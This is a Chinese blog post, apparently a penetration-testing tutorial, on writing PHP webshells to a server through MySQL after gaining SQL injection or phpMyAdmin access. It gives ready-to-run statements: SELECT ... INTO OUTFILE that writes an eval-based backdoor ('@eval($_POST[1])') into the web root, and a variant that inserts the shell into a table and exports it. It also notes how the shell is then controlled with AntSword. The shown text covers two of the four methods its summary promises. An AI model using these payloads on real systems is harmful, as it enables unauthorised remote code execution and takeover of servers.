写入mysql_通过MySQL写入webshell的几种方式

本文详细介绍了四种通过MySQL数据库写入webshell的方法,包括使用outfile、直接写入表、开启全局日志和慢查询日志,以及利用CVE漏洞。通过这些方法,可以在具备SQL注入条件的情况下,绕过某些限制,成功部署webshell。
摘要由CSDN通过智能技术生成

当我们通过测试发现SQL注入,或拿到像phpMyAdmin之类的web数据库可视化管理工具,并想要进行下一步渗透的时候,可通过数据库写入webshell到目标服务器上,利用webshell管理工具控制目标服务器。下面将讲述几个通过MySQL数据库写入webshell的方法,以拿到phpMyAdmin为例。

-01-

通过outfile写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell:

select '<?php  @eval($_POST[1]);?>' into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

cc57da164ac93ab6ded3eef9a7fc620c.png

使用蚁剑进行连接:

77a7d8f2fe4eb2b04ab02a9f45127be6.png

在写入的时候可能会出现如下错误:

daae6ed1570f55bd7e9b13090f1d4af1.png

这是由于在高版本的MySQL添加了个叫secure_file_priv的参数,导致我们无法导出文件,在后面会讲解如何绕过secure_file_priv,前一部分假设具有导出权限

-02-

将shell写入表中

利用条件:

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell:

将shell插入一个表中insert into `sxss`(`comment`) values ('<?php  @eval($_POST[1]);?>');查询该数据表,将结果导出文件select comment from sxss into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值